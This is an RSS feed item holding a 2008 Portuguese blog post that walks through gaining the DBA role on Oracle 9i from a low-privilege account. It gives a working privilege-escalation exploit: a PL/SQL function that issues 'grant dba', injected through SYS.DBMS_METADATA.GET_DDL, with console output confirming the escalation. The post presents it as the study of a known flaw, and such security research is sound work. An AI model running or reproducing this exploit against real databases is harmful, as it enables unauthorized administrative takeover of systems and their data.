<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>glufke.net &#187; Oracle 9i</title>
	<atom:link href="http://glufke.net/tag/oracle-9i/feed/" rel="self" type="application/rss+xml" />
	<link>http://glufke.net</link>
	<description></description>
	<lastBuildDate>Wed, 30 Nov 2011 17:41:41 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Como conseguir privilégio de DBA no oracle 9i (falha de segurança)</title>
		<link>http://glufke.net/2008/10/13/conseguir-privilegio-de-dba-no-oracle-9i/</link>
		<comments>http://glufke.net/2008/10/13/conseguir-privilegio-de-dba-no-oracle-9i/#comments</comments>
		<pubDate>Mon, 13 Oct 2008 17:02:32 +0000</pubDate>
		<dc:creator>glufke</dc:creator>
				<category><![CDATA[DBA]]></category>
		<category><![CDATA[Oracle 9i]]></category>
		<category><![CDATA[Segurança]]></category>

		<guid isPermaLink="false">http://glufke.net/?p=32</guid>
		<description><![CDATA[Neste post vamos mostrar como conseguir a role de DBA com oracle 9i tendo apenas permissão de CONNECT e RESOURCE. Utilizamos a versão 9.2.0.4.0 para realizar o estudo abaixo. Este post é baseado no documento de Pete Finnigan entitulado de &#8220;Many ways to become DBA&#8221;. 
Primeiramente vamos ver a versão exata que estamos usando:
sys@ORA9R2> select [...]]]></description>
			<content:encoded><![CDATA[<p>Neste post vamos mostrar como conseguir a role de DBA com oracle 9i tendo apenas permissão de CONNECT e RESOURCE. Utilizamos a versão 9.2.0.4.0 para realizar o estudo abaixo. Este post é baseado no documento de Pete Finnigan entitulado de &#8220;Many ways to become DBA&#8221;.<span id="more-32"></span> </p>
<p>Primeiramente vamos ver a versão exata que estamos usando:</p>
<pre class="brush: sql;">sys@ORA9R2> select * from v$version;
BANNER
----------------------------------------------------------------
Oracle9i Enterprise Edition Release 9.2.0.4.0
PL/SQL Release 9.2.0.4.0 - Production
CORE 9.2.0.3.0 Production
TNS for Linux: Version 9.2.0.4.0 - Production
NLSRTL Version 9.2.0.4.0 - Production</pre>
<p><strong>Criação do usuário</strong><br />
Neste exemplo, vamos criar o usuário que iremos transformar em DBA. Chamaremos o usuário de TESTUSER e daremos apenas acesso de CONNECT e RESOURCE pra ele!</p>
<pre class="brush: sql;">sys@ORA9R2> create user testUser identified by testUser;

User created.

sys@ORA9R2> grant connect, resource to testUser;

Grant succeeded.

sys@ORA9R2> connect testUser/testUser
Connected.
testuser@ORA9R2> select * from user_role_privs;

USERNAME GRANTED_ROLE ADM DEF OS_
-------- ------------ --- --- ---
TESTUSER CONNECT NO YES NO
TESTUSER RESOURCE NO YES NO

testuser@ORA9R2></pre>
<p><strong>Ganhar privilégio de DBA</strong></p>
<p>Agora que o usuário está criado e tem pouquíssimos privilégios, vamos usar uma falha da versão 9i para obter a role DBA. Esta falha envolve a criação de uma função e o uso de uma vulnerabilidade da package DBMS_METADATA.</p>
<p>Criação da função</p>
<pre class="brush: sql;">testuser@ORA9R2> create or replace function testuser.hack return varchar2
2 authid current_user is
3 pragma autonomous_transaction;
4 begin
5 execute immediate 'grant dba to testUser';
6 return '';
7 end;
8 /

Function created.</pre>
<p>Execução da Função</p>
<pre class="brush: sql;">testuser@ORA9R2> select sys.dbms_metadata.get_ddl('''||testuser.hack()||''','')
2 from dual;
ERROR:
ORA-31600: invalid input value '||testuser.hack()||' for parameter OBJECT_TYPE in
function GET_DDL
ORA-06512: at "SYS.DBMS_SYS_ERROR", line 105
ORA-06512: at "SYS.DBMS_METADATA_INT", line 1536
ORA-06512: at "SYS.DBMS_METADATA_INT", line 1900
ORA-06512: at "SYS.DBMS_METADATA_INT", line 3606
ORA-06512: at "SYS.DBMS_METADATA", line 504
ORA-06512: at "SYS.DBMS_METADATA", line 560
ORA-06512: at "SYS.DBMS_METADATA", line 1221
ORA-06512: at line 1

no rows selected</pre>
<div id="ads_336x280"><script type="text/javascript"><!--
google_ad_client = "pub-8964513116661040";
google_alternate_color = "ffffFF";
google_ad_width = 336;
google_ad_height = 280;
google_ad_format = "336x280_as";
google_ad_type = "text_image";
//2007-09-07: wp_quadrado_gra
google_ad_channel = "0247072216";
google_color_border = "FFFFFF";
google_color_bg = "FFFFff";
google_color_link = "4F82CB";
google_color_text = "000000";
google_color_url = "4F82CB";
//-->
</script><script type="text/javascript"
  src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></div>
<p>E agora, a mágica!</p>
<pre class="brush: sql;">testuser@ORA9R2> select * from user_role_privs;

USERNAME GRANTED_ROLE ADM DEF OS_
-------- ------------ --- --- ---
TESTUSER CONNECT NO YES NO
TESTUSER DBA NO YES NO
TESTUSER RESOURCE NO YES NO

testuser@ORA9R2></pre>
<p>Voalá! Role de DBA para TESTUSER !</p>
<p>Comentários <a href="http://glufke.net/oracle/viewtopic.php?t=3778">aqui</a></p>
]]></content:encoded>
			<wfw:commentRss>http://glufke.net/2008/10/13/conseguir-privilegio-de-dba-no-oracle-9i/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

